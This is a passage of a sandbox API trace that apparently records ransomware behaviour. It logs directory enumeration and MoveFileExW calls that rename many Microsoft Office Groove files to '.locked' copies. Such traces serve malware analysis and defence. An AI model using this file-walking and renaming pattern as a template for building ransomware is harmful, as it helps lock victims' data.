files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html.locked"), dwFlags=0x2) returned 1 [0040.937] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html.locked"), dwFlags=0x2) returned 1 [0040.956] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html.locked"), dwFlags=0x2) returned 1 [0040.960] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html.locked"), dwFlags=0x2) returned 1 [0040.963] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html.locked"), dwFlags=0x2) returned 1 [0040.971] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg.locked"), dwFlags=0x2) returned 1 [0040.975] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticonsmask.bmp.locked"), dwFlags=0x2) returned 1 [0040.987] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form_edit.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form_edit.js.locked"), dwFlags=0x2) returned 1 [0041.068] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg.locked"), dwFlags=0x2) returned 1 [0041.265] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\macroprogress.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\macroprogress.gif.locked"), dwFlags=0x2) returned 1 [0041.278] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\publicfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\publicfunctions.js.locked"), dwFlags=0x2) returned 1 [0041.281] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignleft.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignleft.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignleft.gif.locked"), dwFlags=0x2) returned 1 [0041.284] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignright.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignright.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignright.gif.locked"), dwFlags=0x2) returned 1 [0041.287] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_bullets.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_bullets.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_bullets.gif.locked"), dwFlags=0x2) returned 1 [0041.290] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_center.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_center.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_center.gif.locked"), dwFlags=0x2) returned 1 [0041.293] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_choosecolor.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_choosecolor.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_choosecolor.gif.locked"), dwFlags=0x2) returned 1 [0041.296] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_decreaseindent.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_decreaseindent.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_decreaseindent.gif.locked"), dwFlags=0x2) returned 1 [0041.298] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_hyperlink.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_hyperlink.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_hyperlink.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_hyperlink.gif.locked"), dwFlags=0x2) returned 1 [0041.301] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_increaseindent.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_increaseindent.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_increaseindent.gif.locked"), dwFlags=0x2) returned 1 [0041.304] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_justify.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_justify.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_justify.gif.locked"), dwFlags=0x2) returned 1 [0041.307] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_pressed.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_pressed.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_pressed.gif.locked"), dwFlags=0x2) returned 1 [0041.367] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\utilityfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\utilityfunctions.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\utilityfunctions.js.locked"), dwFlags=0x2) returned 1 [0041.406] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\validation.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\validation.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\validation.js.locked"), dwFlags=0x2) returned 1 [0041.410] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbaa8380, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbbaa8380, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0041.418] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg.locked"), dwFlags=0x2) returned 1 [0041.424] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseiconmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseiconmask.bmp.locked"), dwFlags=0x2) returned 1 [0041.439] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg.locked"), dwFlags=0x2) returned 1 [0041.446] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleiconsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleiconsmask.bmp.locked"), dwFlags=0x2) returned 1 [0041.459] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg.locked"), dwFlags=0x2) returned 1 [0041.463] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingiconmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingiconmask.bmp.locked"), dwFlags=0x2) returned 1 [0041.473] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg.locked"), dwFlags=0x2) returned 1 [0041.478] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusiconsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusiconsmask.bmp.locked"), dwFlags=0x2) returned 1 [0041.491] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg.locked"), dwFlags=0x2) returned 1 [0041.496] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskiconmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskiconmask.bmp.locked"), dwFlags=0x2) returned 1 [0041.499] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbb8cbc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbbb8cbc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0041.500] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbb8cbc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbbb8cbc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0041.502] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*", lpFindFileData=0x428d80 | out: lpFindFileData=0x428d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbb8cbc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbbb8cbc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x428b68, cFileName=".", cAlternateFileName="")) returned 0x825a50 [0041.505] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*", lpFindFileData=0x428d80 | out: lpFindFileData=0x428d80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbb8cbc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbbb8cbc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x428b68, cFileName=".", cAlternateFileName="")) returned 0x825a50 [0041.518] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.js.locked"), dwFlags=0x2) returned 1 [0041.540] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg.locked"), dwFlags=0x2) returned 1 [0041.552] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0041.577] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg.locked"), dwFlags=0x2) returned 1 [0041.656] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimagemask.bmp.locked"), dwFlags=0x2) returned 1 [0041.677] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whiteboxmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whiteboxmask.bmp.locked"), dwFlags=0x2) returned 1 [0041.683] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg.locked"), dwFlags=0x2) returned 1 [0041.688] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomiconsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomiconsmask.bmp.locked"), dwFlags=0x2) returned 1 [0041.691] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbd55c40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbbd55c40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0041.698] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" (normalized: "c:\\program files\\microsoft 